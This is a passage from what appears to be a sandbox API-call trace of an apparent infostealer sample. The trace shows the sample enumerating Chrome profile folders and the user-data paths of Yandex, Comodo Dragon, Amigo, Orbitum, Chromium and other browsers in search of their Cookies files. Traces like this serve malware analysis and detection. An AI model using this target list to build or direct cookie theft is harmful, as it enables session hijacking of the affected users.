cAlternateFileName="ORIGIN~1")) returned 1 [0163.568] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\OriginTrials\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\origintrials\\cookies")) returned 0xffffffff [0163.568] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0163.568] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\PepperFlash\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pepperflash\\cookies")) returned 0xffffffff [0163.568] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc083690, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc083690, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc083690, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0163.569] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\pnacl\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pnacl\\cookies")) returned 0xffffffff [0163.569] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0163.569] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\SSLErrorAssistant\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\cookies")) returned 0xffffffff [0163.569] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0163.569] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\SwReporter\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\swreporter\\cookies")) returned 0xffffffff [0163.569] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0163.570] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\WidevineCdm\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\cookies")) returned 0xffffffff [0163.570] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0163.570] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0163.570] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.571] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf29d0, cbMultiByte=14, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="GoogleChrome64�￿臰ῡṽṽ瑲￿￿￿￿拐ῤ") returned 14 [0163.571] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf08dc, cbMultiByte=43, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\ῤṽ\x09") returned 43 [0163.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.572] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned 0x3d [0163.572] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiese\\Chrome SxS\\User Data\\ῤṽ\x09") returned 16 [0163.573] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.573] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome sxs\\user data\\cookies")) returned 0xffffffff [0163.573] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.573] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2b04, cbMultiByte=14, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="InternetMailRukiese\\Chrome SxS\\User Data\\ῤṽ\x09") returned 14 [0163.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf09ac, cbMultiByte=30, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Xpom\\User Data\\xS\\User Data\\ῤṽ\x09") returned 30 [0163.573] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Xpom\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Xpom\\User Data\\") returned 0x30 [0163.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\CookiesUser Data\\xS\\User Data\\ῤṽ\x09") returned 16 [0163.574] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Xpom\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.574] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Xpom\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\xpom\\user data\\cookies")) returned 0xffffffff [0163.574] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.574] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2c3c, cbMultiByte=13, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="YandexBrowserokiesUser Data\\xS\\User Data\\ῤṽ\x09") returned 13 [0163.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0a74, cbMultiByte=46, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\\x09") returned 46 [0163.575] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\") returned 0x40 [0163.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesx\\YandexBrowser\\User Data\\\x09") returned 16 [0163.575] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.576] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\yandex\\yandexbrowser\\user data\\cookies")) returned 0xffffffff [0163.577] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.577] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2d78, cbMultiByte=12, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="ComodoDragonookiesx\\YandexBrowser\\User Data\\\x09") returned 12 [0163.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0b50, cbMultiByte=39, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\r Data\\\x09") returned 39 [0163.577] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned 0x39 [0163.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookieso\\Dragon\\User Data\\r Data\\\x09") returned 16 [0163.577] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.578] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\comodo\\dragon\\user data\\cookies")) returned 0xffffffff [0163.578] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.578] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.578] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2eb8, cbMultiByte=5, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Amigowsers\\Cookieso\\Dragon\\User Data\\r Data\\\x09") returned 5 [0163.578] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0c28, cbMultiByte=31, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Amigo\\User Data\\er Data\\r Data\\\x09") returned 31 [0163.578] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Amigo\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data\\") returned 0x31 [0163.578] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookies\\User Data\\er Data\\r Data\\\x09") returned 16 [0163.579] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.579] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\amigo\\user data\\cookies")) returned 0xffffffff [0163.579] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.579] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2ecc, cbMultiByte=7, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Orbitumers\\Cookies\\User Data\\er Data\\r Data\\\x09") returned 7 [0163.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0cfc, cbMultiByte=33, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Orbitum\\User Data\\ Data\\r Data\\\x09") returned 33 [0163.579] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Orbitum\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data\\") returned 0x33 [0163.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesum\\User Data\\ Data\\r Data\\\x09") returned 16 [0163.580] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.580] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\orbitum\\user data\\cookies")) returned 0xffffffff [0163.580] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.580] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.580] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf300c, cbMultiByte=7, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Bromiumers\\Cookiesum\\User Data\\ Data\\r Data\\\x09") returned 7 [0163.580] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0dd8, cbMultiByte=33, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Bromium\\User Data\\ Data\\r Data\\\x09") returned 33 [0163.580] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Bromium\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Bromium\\User Data\\") returned 0x33 [0163.581] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesum\\User Data\\ Data\\r Data\\\x09") returned 16 [0163.581] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Bromium\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.581] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Bromium\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\bromium\\user data\\cookies")) returned 0xffffffff [0163.581] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.581] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.581] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3150, cbMultiByte=8, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Chromiumrs\\Cookiesum\\User Data\\ Data\\r Data\\\x09") returned 8 [0163.582] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0eb8, cbMultiByte=34, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Chromium\\User Data\\Data\\r Data\\\x09") returned 34 [0163.582] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chromium\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\") returned 0x34 [0163.582] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesium\\User Data\\Data\\r Data\\\x09") returned 16 [0163.582] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.582] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\chromium\\user data\\cookies")) returned 0xffffffff [0163.582] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.582] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.583] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf329c, cbMultiByte=8, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Nichromers\\Cookiesium\\User Data\\Data\\r Data\\\x09") returned 8 [0163.583] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0f9c, cbMultiByte=34, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Nichrome\\User Data\\Data\\r Data\\\x09") returned 34 [0163.583] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Nichrome\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Nichrome\\User Data\\") returned 0x34 [0163.583] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesome\\User Data\\Data\\r Data\\\x09") returned 16 [0163.583] FindFirstFileW (in: 